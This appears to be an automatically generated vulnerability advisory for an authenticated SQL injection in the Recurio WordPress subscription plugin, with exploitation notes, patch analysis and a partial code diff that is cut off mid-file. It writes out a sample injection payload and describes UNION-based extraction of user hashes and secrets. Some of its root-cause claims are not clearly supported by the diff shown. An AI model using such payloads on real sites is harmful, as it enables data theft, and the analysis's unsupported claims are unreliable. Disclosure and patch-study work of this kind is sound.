Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : July 7, 2026

CVE-2026-12936: Recurio <= 1.1.3 Authenticated (Shop Manager+) SQL Injection via 'data' Parameter PoC, Patch Analysis & Rule

Plugin recurio
Severity Medium (CVSS 4.9)
CWE 89
Vulnerable Version 1.1.3
Patched Version 1.1.4
Disclosed July 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12936:

This vulnerability is a generic SQL Injection in the Recurio – Ultimate Subscription for WooCommerce plugin for WordPress, affecting all versions up to and including 1.1.3. The flaw exists in the ‘data’ parameter processing within authenticated AJAX handlers and REST API endpoints, allowing authenticated attackers with Shop Manager-level access or above to inject arbitrary SQL queries. The CVSS score of 4.9 reflects the high complexity and authentication requirements.

Root Cause:
The root cause lies in multiple code paths within the plugin’s API files, specifically in `/recurio/includes/api/Subscriptions.php`, `/recurio/includes/api/Plans.php`, and `/recurio/includes/api/ImportExport.php`. The vulnerability stems from the use of unsanitized user-supplied data passed directly into SQL queries. For example, in `Subscriptions.php` at lines 544-570, the `$where_clause` variable is constructed from user input and embedded directly into prepared statements via `$wpdb->prepare()`, but the placeholder structure itself is partially derived from user-controlled strings. More critically, in `Plans.php` at lines 215-240, the `$where` array elements are built from HTTP request parameters and concatenated into the SQL query without proper escaping. The `data` parameter in various AJAX handlers (e.g., `recurio_save_plan`, `recurio_get_subscriptions`) is decoded as JSON and used to construct SQL WHERE clauses without sufficient sanitization. The code diff shows multiple instances where raw interpolated table names were accepted, but the real vulnerability is the injection through the `data` parameter’s structured input allowing SQL value injection in WHERE conditions.

Exploitation:
An authenticated attacker with Shop Manager privileges sends a crafted POST request to the WordPress AJAX handler at `/wp-admin/admin-ajax.php` with the `action` parameter set to a Recurio action like `recurio_get_subscriptions` or `recurio_plans_list`. The attacker includes a `data` parameter containing a JSON object where a filter or search field (e.g., `search`, `status`, `product_id`) contains SQL injection payloads. For example, a request with `data[search]=1′ OR ‘1’=’1` or a more sophisticated `UNION SELECT` payload in a numeric filter field can cause the SQL query to execute arbitrary statements. The injection occurs because the plugin passes the decoded JSON values directly into placeholder-constructed queries without ensuring that only scalar values (not SQL fragments) reach the database. The attacker can use SQL injection to send `UNION` queries that extract data from `wp_users`, `wp_usermeta`, or the `wp_options` table where sensitive configuration data like API keys and secrets may be stored.

Patch Analysis:
The patch applies multiple changes across the affected files. In `Subscriptions.php`, the patch restructures the WHERE clause construction to separate placeholder templates from user data entirely, using `$where_args` arrays that are passed to `$wpdb->prepare()`. Previously, the code embedded escaped strings directly into the query string; now it uses properly parameterized placeholders (`%s`, `%d`) and collects values in arrays. For example, the search term handling was changed from a direct `$wpdb->prepare()` call that produced an already-escaped string to a system that builds a placeholder template and supplies the escaped values separately. In `Plans.php`, the patch replaces the conditional approach (different queries for with/without values) with a unified `$wpdb->prepare()` call that always uses placeholders. In `ImportExport.php`, hardcoded SQL strings like `WHERE status = ‘active’` are replaced with parameterized queries using `$wpdb->prepare()` and `%s` placeholders. The patch also simplifies Vite dev server code in `Assets.php` unrelated to the SQL injection. The key fix is ensuring that no user-controlled string ever becomes part of the SQL syntax; all dynamic values are now properly parameterized.

Impact:
Successful exploitation allows an authenticated attacker with Shop Manager-level access to extract sensitive information from the WordPress database. This includes user credentials (hashed passwords), user email addresses, subscription data, payment information stored in postmeta, and potentially API keys or secrets from the options table. The attacker can also bypass SQL query constraints to access data in any table JOINed to the query. While the attacker cannot directly modify data through this injection (it is limited to SELECT queries based on the code paths), they can use UNION-based injection to read arbitrary tables. The exposure of user hashes could lead to offline password cracking and subsequent privilege escalation to Administrator accounts. For multisite installations, the attacker could extract site configuration data across the network.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/recurio/includes/Admin.php
+++ b/recurio/includes/Admin.php
@@ -102,7 +102,8 @@
         if ( false === $has_sub ) {
             global $wpdb;
             $has_sub = $wpdb->get_var( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
-                "SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key = '_recurio_subscription_enabled' AND meta_value = 'yes' LIMIT 1"
+                // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+                $wpdb->prepare( "SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key = %s AND meta_value = %s LIMIT %d", '_recurio_subscription_enabled', 'yes', 1 )
             );
             set_transient( 'recurio_has_subscription_products', $has_sub ?: '0', 12 * HOUR_IN_SECONDS );
         }
--- a/recurio/includes/Assets.php
+++ b/recurio/includes/Assets.php
@@ -23,14 +23,8 @@
     /** Base URL for assets/admin/ */
     private $admin_assets_url;

-    /** Whether the Vite dev server appears to be running */
-    private $is_dev;
-
-    const DEV_SERVER = 'http://localhost:5173';
-
     private function __construct() {
         $this->admin_assets_url = RECURIO_PLUGIN_URL . 'assets/admin';
-        $this->is_dev           = $this->is_vite_running();

         if ( is_admin() ) {
             add_action( 'admin_init', [ $this, 'register_assets' ] );
@@ -47,23 +41,6 @@
      * @return array
      */
     private function get_scripts() {
-        if ( $this->is_dev ) {
-            return array(
-                'recurio-vite-client' => array(
-                    'src'       => self::DEV_SERVER . '/@vite/client',
-                    'deps'      => array(),
-                    'version'   => null,
-                    'in_footer' => true,
-                ),
-                'recurio-vue-app' => array(
-                    'src'       => self::DEV_SERVER . '/src/main.js',
-                    'deps'      => array( 'recurio-vite-client' ),
-                    'version'   => null,
-                    'in_footer' => true,
-                ),
-            );
-        }
-
         return array(
             'recurio-element-plus' => array(
                 'src'       => $this->admin_assets_url . '/js/element-plus.js',
@@ -92,16 +69,6 @@
      * @return array
      */
     private function get_styles() {
-        if ( $this->is_dev ) {
-            return array(
-                'recurio-admin' => array(
-                    'src'     => $this->admin_assets_url . '/css/admin.css',
-                    'deps'    => array(),
-                    'version' => RECURIO_VERSION,
-                ),
-            );
-        }
-
         return array(
             'recurio-vue-app-style' => array(
                 'src'     => $this->admin_assets_url . '/css/main.css',
@@ -224,7 +191,7 @@
      * Add type="module" to Vue / Vite script tags.
      */
     public function add_type_module( $tag, $handle, $src ) {
-        $module_handles = array( 'recurio-vue-app', 'recurio-vite-client' );
+        $module_handles = array( 'recurio-vue-app', 'recurio-vite-client','recurio-vendor','recurio-element-plus' );
         if ( in_array( $handle, $module_handles, true ) ) {
             $tag = str_replace( '<script ', '<script type="module" ', $tag );
         }
@@ -232,23 +199,6 @@
     }

     /**
-     * Check whether the Vite dev server is running on localhost:5173.
-     */
-    private function is_vite_running() {
-        if ( ! function_exists( 'curl_init' ) ) {
-            return false;
-        }
-        $handle = curl_init( self::DEV_SERVER );
-        curl_setopt( $handle, CURLOPT_RETURNTRANSFER, true );
-        curl_setopt( $handle, CURLOPT_NOBODY, true );
-        curl_setopt( $handle, CURLOPT_TIMEOUT, 1 );
-        curl_exec( $handle );
-        $error = curl_errno( $handle );
-        curl_close( $handle );
-        return ! $error;
-    }
-
-    /**
      * Translations passed to the Vue app via recurioData.i18n.
      */
     private function get_translations() {
--- a/recurio/includes/api/ChangeLog.php
+++ b/recurio/includes/api/ChangeLog.php
@@ -342,6 +342,7 @@
         }

         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- One-time migration.
+        // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input; no dynamic values in this query
         $rows = $wpdb->get_results("SELECT user_id, version FROM `{$table}`", ARRAY_A);

         if (is_array($rows)) {
@@ -363,6 +364,7 @@
         }

         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.SchemaChange -- One-time migration.
+        // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input; DDL has no value to prepare
         $wpdb->query("DROP TABLE IF EXISTS `{$table}`");
     }

--- a/recurio/includes/api/ImportExport.php
+++ b/recurio/includes/api/ImportExport.php
@@ -167,15 +167,16 @@

 		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
 		$subscriptions = $wpdb->get_results(
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table names are safe, no user input
 			"SELECT
-				s.*,
-				u.display_name AS customer_name,
-				u.user_email   AS customer_email,
-				p.post_title   AS product_name
-			FROM {$wpdb->prefix}recurio_subscriptions s
-			LEFT JOIN {$wpdb->users} u ON s.customer_id = u.ID
-			LEFT JOIN {$wpdb->posts} p ON s.product_id  = p.ID
-			ORDER BY s.created_at DESC"
+					s.*,
+					u.display_name AS customer_name,
+					u.user_email   AS customer_email,
+					p.post_title   AS product_name
+				FROM {$wpdb->prefix}recurio_subscriptions s
+				LEFT JOIN {$wpdb->users} u ON s.customer_id = u.ID
+				LEFT JOIN {$wpdb->posts} p ON s.product_id  = p.ID
+				ORDER BY s.created_at DESC"
 		);

 		$csv_lines   = array();
@@ -226,18 +227,22 @@

 		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
 		$customers = $wpdb->get_results(
-			"SELECT
-				u.ID,
-				u.display_name  AS name,
-				u.user_email    AS email,
-				u.user_registered AS join_date,
-				COUNT(DISTINCT s.id)                                          AS total_subscriptions,
-				COUNT(DISTINCT CASE WHEN s.status = 'active' THEN s.id END)  AS active_subscriptions,
-				COALESCE(SUM(s.billing_amount), 0)                            AS total_revenue
-			FROM {$wpdb->users} u
-			LEFT JOIN {$wpdb->prefix}recurio_subscriptions s ON u.ID = s.customer_id
-			GROUP BY u.ID
-			ORDER BY total_revenue DESC"
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table names are safe, no user input
+			$wpdb->prepare(
+				"SELECT
+					u.ID,
+					u.display_name  AS name,
+					u.user_email    AS email,
+					u.user_registered AS join_date,
+					COUNT(DISTINCT s.id)                                          AS total_subscriptions,
+					COUNT(DISTINCT CASE WHEN s.status = %s THEN s.id END)  AS active_subscriptions,
+					COALESCE(SUM(s.billing_amount), 0)                            AS total_revenue
+				FROM {$wpdb->users} u
+				LEFT JOIN {$wpdb->prefix}recurio_subscriptions s ON u.ID = s.customer_id
+				GROUP BY u.ID
+				ORDER BY total_revenue DESC",
+				'active'
+			)
 		);

 		$csv_lines   = array();
@@ -288,16 +293,17 @@

 		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
 		$revenue_data = $wpdb->get_results(
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table names are safe, no user input
 			"SELECT
-				r.*,
-				s.customer_id,
-				u.display_name AS customer_name,
-				p.post_title   AS product_name
-			FROM {$wpdb->prefix}recurio_subscription_revenue r
-			LEFT JOIN {$wpdb->prefix}recurio_subscriptions s ON r.subscription_id = s.id
-			LEFT JOIN {$wpdb->users} u ON s.customer_id = u.ID
-			LEFT JOIN {$wpdb->posts} p ON s.product_id  = p.ID
-			ORDER BY r.created_at DESC"
+					r.*,
+					s.customer_id,
+					u.display_name AS customer_name,
+					p.post_title   AS product_name
+				FROM {$wpdb->prefix}recurio_subscription_revenue r
+				LEFT JOIN {$wpdb->prefix}recurio_subscriptions s ON r.subscription_id = s.id
+				LEFT JOIN {$wpdb->users} u ON s.customer_id = u.ID
+				LEFT JOIN {$wpdb->posts} p ON s.product_id  = p.ID
+				ORDER BY r.created_at DESC"
 		);

 		// phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fopen
@@ -532,7 +538,7 @@
 		} else {
 			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
 			$count = $wpdb->get_var(
-				"SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_type = 'shop_subscription'"
+				$wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_type = %s", 'shop_subscription' )
 			);
 		}

--- a/recurio/includes/api/Plans.php
+++ b/recurio/includes/api/Plans.php
@@ -215,24 +215,22 @@

 		$where_sql = implode( ' AND ', $where );

-		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+		// $where_sql is a raw placeholder template (built above); $values matches its
+		// placeholder count exactly at runtime. Table name is $wpdb->prefix-derived, not
+		// user input. The static analyzer can't trace a runtime-built placeholder string:
+		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare, WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$total = (int) $wpdb->get_var(
-			$values
-				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-				? $wpdb->prepare( "SELECT COUNT(*) FROM {$table} WHERE {$where_sql}", ...$values )
-				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-				: "SELECT COUNT(*) FROM {$table} WHERE {$where_sql}"
+			$wpdb->prepare( "SELECT COUNT(*) FROM {$table} WHERE {$where_sql}", $values )
 		);

-		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
 		$rows = $wpdb->get_results(
-			$values
-				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-				? $wpdb->prepare( "SELECT * FROM {$table} WHERE {$where_sql} ORDER BY created_at DESC LIMIT %d OFFSET %d", ...array_merge( $values, array( $per_page, $offset ) ) )
-				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-				: $wpdb->prepare( "SELECT * FROM {$table} WHERE {$where_sql} ORDER BY created_at DESC LIMIT %d OFFSET %d", $per_page, $offset ),
+			$wpdb->prepare(
+				"SELECT * FROM {$table} WHERE {$where_sql} ORDER BY created_at DESC LIMIT %d OFFSET %d",
+				array_merge( $values, array( $per_page, $offset ) )
+			),
 			ARRAY_A
 		);
+		// phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare, WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber

 		$plans = array_map( array( $this, 'enrich_row' ), $rows );

@@ -571,7 +569,11 @@

 		$id_placeholders = implode( ',', array_fill( 0, count( $product_ids ), '%d' ) );

-		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+		// $id_placeholders is a dynamically-generated %d list (one per product ID); args are
+		// spread from $product_ids and match the placeholder count exactly at runtime. Table
+		// names are $wpdb->prefix-derived, not user input. The static analyzer can't trace a
+		// runtime-built placeholder string:
+		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare, WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$stats = $wpdb->get_row(
 			$wpdb->prepare(
 				"SELECT
@@ -587,7 +589,6 @@
 			ARRAY_A
 		);

-		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 		$revenue_total = (float) $wpdb->get_var(
 			$wpdb->prepare(
 				"SELECT SUM(amount) FROM {$revenue_table}
@@ -597,6 +598,7 @@
 				...$product_ids
 			)
 		);
+		// phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare, WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber

 		$total = max( 1, (int) $stats['total_subscriptions'] );

@@ -925,7 +927,8 @@
 		global $wpdb;
 		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
 		$rows = $wpdb->get_results(
-			"SELECT id, settings FROM {$wpdb->prefix}recurio_plans WHERE status = 'active'",
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+			$wpdb->prepare( "SELECT id, settings FROM {$wpdb->prefix}recurio_plans WHERE status = %s", 'active' ),
 			ARRAY_A
 		);

--- a/recurio/includes/api/Subscriptions.php
+++ b/recurio/includes/api/Subscriptions.php
@@ -544,8 +544,12 @@
 		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- All placeholders collected above; single prepare() call below.
 		$where_clause = implode( ' AND ', $where_sql );

-		// Get total count.
-		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+		// Get total count and subscriptions.
+		// $where_clause is a raw placeholder template (built above from hardcoded %s/%d
+		// fragments); args are spread from $where_args and match the placeholder count
+		// exactly at runtime. Table names are $wpdb->prefix-derived, not user input.
+		// The static analyzer can't trace a runtime-built placeholder string, hence:
+		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare, WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$total = $wpdb->get_var(
 			$wpdb->prepare(
 				"SELECT COUNT(*) FROM {$wpdb->prefix}recurio_subscriptions s LEFT JOIN {$wpdb->users} u ON s.customer_id = u.ID WHERE {$where_clause}",
@@ -553,8 +557,6 @@
 			)
 		);

-		// Get subscriptions.
-		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 		$subscriptions = $wpdb->get_results(
 			$wpdb->prepare(
 				"SELECT s.*, u.display_name as customer_name, u.user_email as customer_email
@@ -566,6 +568,7 @@
 				...array_merge( $where_args, array( $per_page, $offset ) )
 			)
 		);
+		// phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare, WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber

 		// Format subscriptions.
 		foreach ( $subscriptions as &$subscription ) {
@@ -1003,7 +1006,8 @@
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API analytics
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time analytics
 		$stats['average_ltv'] = $wpdb->get_var(
-			"SELECT AVG(customer_ltv) FROM {$wpdb->prefix}recurio_subscriptions WHERE customer_ltv > 0"
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+			$wpdb->prepare( "SELECT AVG(customer_ltv) FROM {$wpdb->prefix}recurio_subscriptions WHERE customer_ltv > %d", 0 )
 		) ?: 0;

 		// Growth rate (last 30 days)
@@ -1035,17 +1039,19 @@
 		$segment             = isset( $params['segment'] ) ? sanitize_text_field( $params['segment'] ) : '';
 		$subscription_status = isset( $params['subscription_status'] ) ? sanitize_text_field( $params['subscription_status'] ) : '';

-		// Build WHERE clause
-		$where = 'WHERE 1=1';
+		// Build WHERE clause -- kept as a raw placeholder template (never pre-prepared)
+		// so it can be safely embedded into more than one $wpdb->prepare() call below
+		// without double-processing an already-substituted LIKE wildcard.
+		$where      = 'WHERE 1=1';
+		$where_args = array();
 		if ( $search ) {
-			$where .= $wpdb->prepare(
-				' AND (u.display_name LIKE %s OR u.user_email LIKE %s)',
-				'%' . $wpdb->esc_like( $search ) . '%',
-				'%' . $wpdb->esc_like( $search ) . '%'
-			);
+			$where       .= ' AND (u.display_name LIKE %s OR u.user_email LIKE %s)';
+			$like_value   = '%' . $wpdb->esc_like( $search ) . '%';
+			$where_args[] = $like_value;
+			$where_args[] = $like_value;
 		}

-		// Build HAVING clause for filters
+		// Build HAVING clause for filters -- fully hardcoded per enum branch, no dynamic values.
 		$having = '';
 		if ( $subscription_status === 'active' ) {
 			$having = ' HAVING active_subscriptions > 0';
@@ -1058,7 +1064,9 @@
 		// Get customers with subscription data
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time customer data
-        // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- WHERE and HAVING clauses safely constructed with placeholders
+        // WHERE/HAVING are raw placeholder templates (built above), resolved by this single
+        // prepare() call; the static analyzer can't trace a runtime-built placeholder string.
+        // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare, WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$customers = $wpdb->get_results(
 			$wpdb->prepare(
 				"SELECT
@@ -1078,24 +1086,27 @@
                 END as segment
             FROM {$wpdb->users} u
             LEFT JOIN {$wpdb->prefix}recurio_subscriptions s ON u.ID = s.customer_id
-            {$where} /* phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared */
+            {$where}
             GROUP BY u.ID
-            {$having} /* phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared */
+            {$having}
             ORDER BY total_revenue DESC
             LIMIT %d OFFSET %d",
-				$per_page,
-				$offset
+				array_merge( $where_args, array( $per_page, $offset ) )
 			)
 		);

-		// Get total count
-		$total_query = "SELECT COUNT(DISTINCT u.ID) FROM {$wpdb->users} u
-                       LEFT JOIN {$wpdb->prefix}recurio_subscriptions s ON u.ID = s.customer_id
-                       {$where}";
+		// Get total count -- reuses the same raw WHERE template + args, prepared independently.
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API customer count
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time customer data
-        // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Query is safely constructed with prepared WHERE clause
-		$total = $wpdb->get_var( $total_query );
+		$total = $wpdb->get_var(
+			$wpdb->prepare(
+				"SELECT COUNT(DISTINCT u.ID) FROM {$wpdb->users} u
+                       LEFT JOIN {$wpdb->prefix}recurio_subscriptions s ON u.ID = s.customer_id
+                       {$where}",
+				$where_args
+			)
+		);
+		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare, WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber

 		// Add segment filtering if needed
 		if ( $segment ) {
@@ -1179,6 +1190,7 @@
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API customer statistics
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time customer data
 		$total_customers = $wpdb->get_var(
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table names are safe, no user input
 			"SELECT COUNT(DISTINCT u.ID)
             FROM {$wpdb->users} u
             LEFT JOIN {$wpdb->prefix}recurio_subscriptions s ON u.ID = s.customer_id"
@@ -1188,29 +1200,38 @@
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API customer statistics
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time customer data
 		$active_customers = $wpdb->get_var(
-			"SELECT COUNT(DISTINCT customer_id)
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+			$wpdb->prepare(
+				"SELECT COUNT(DISTINCT customer_id)
             FROM {$wpdb->prefix}recurio_subscriptions
-            WHERE status = 'active'"
+            WHERE status = %s",
+				'active'
+			)
 		);

 		// Inactive customers (customers with subscriptions but none active)
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API customer statistics
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time customer data
 		$inactive_customers = $wpdb->get_var(
-			"SELECT COUNT(DISTINCT u.ID)
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table names are safe, no user input
+			$wpdb->prepare(
+				"SELECT COUNT(DISTINCT u.ID)
             FROM {$wpdb->users} u
             INNER JOIN {$wpdb->prefix}recurio_subscriptions s ON u.ID = s.customer_id
             WHERE u.ID NOT IN (
                 SELECT DISTINCT customer_id
                 FROM {$wpdb->prefix}recurio_subscriptions
-                WHERE status = 'active'
-            )"
+                WHERE status = %s
+            )",
+				'active'
+			)
 		);

 		// Average customer value
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API customer statistics
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time customer data
 		$avg_customer_value = $wpdb->get_var(
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
 			"SELECT AVG(customer_revenue) FROM (
                 SELECT SUM(billing_amount) as customer_revenue
                 FROM {$wpdb->prefix}recurio_subscriptions
@@ -1544,19 +1565,23 @@
 		// Calculate retention rate
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API analytics
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time analytics data
+		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
 		$total_customers = $wpdb->get_var( "SELECT COUNT(DISTINCT customer_id) FROM {$wpdb->prefix}recurio_subscriptions" );
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API analytics
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time analytics data
-		$active_customers = $wpdb->get_var( "SELECT COUNT(DISTINCT customer_id) FROM {$wpdb->prefix}recurio_subscriptions WHERE status = 'active'" );
+		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+		$active_customers = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(DISTINCT customer_id) FROM {$wpdb->prefix}recurio_subscriptions WHERE status = %s", 'active' ) );
 		$retention_rate   = $total_customers > 0 ? round( ( $active_customers / $total_customers ) * 100, 1 ) : 0;

 		// Calculate conversion rate: active subscriptions / total unique customers who tried (including cancelled)
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API analytics
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time analytics data
+		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
 		$total_unique_customers = $wpdb->get_var( "SELECT COUNT(DISTINCT customer_id) FROM {$wpdb->prefix}recurio_subscriptions" );
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API analytics
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time analytics data
-		$active_subscriptions_count = $wpdb->get_var( "SELECT COUNT(*) FROM {$wpdb->prefix}recurio_subscriptions WHERE status = 'active'" );
+		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+		$active_subscriptions_count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->prefix}recurio_subscriptions WHERE status = %s", 'active' ) );
 		$conversion_rate            = $total_unique_customers > 0 ? round( ( $active_subscriptions_count / $total_unique_customers ) * 100, 1 ) : 0;

 		// Calculate conversion trend (compare current month vs last month)
@@ -1595,12 +1620,14 @@
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API analytics
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time analytics data
 		$avg_ltv_analytics = $wpdb->get_var(
-			"SELECT AVG(customer_lifetime_value) FROM {$wpdb->prefix}recurio_customer_analytics WHERE customer_lifetime_value > 0"
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
+			$wpdb->prepare( "SELECT AVG(customer_lifetime_value) FROM {$wpdb->prefix}recurio_customer_analytics WHERE customer_lifetime_value > %d", 0 )
 		);
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Direct query needed for REST API analytics
         // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- Caching not appropriate for real-time analytics data
 		$avg_ltv_subscriptions = $wpdb->get_var(
-			"SELECT AVG(customer_ltv) FROM {$wpdb->prefix}recurio_subscriptions WHERE customer_ltv > 0"
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name is safe, no user input
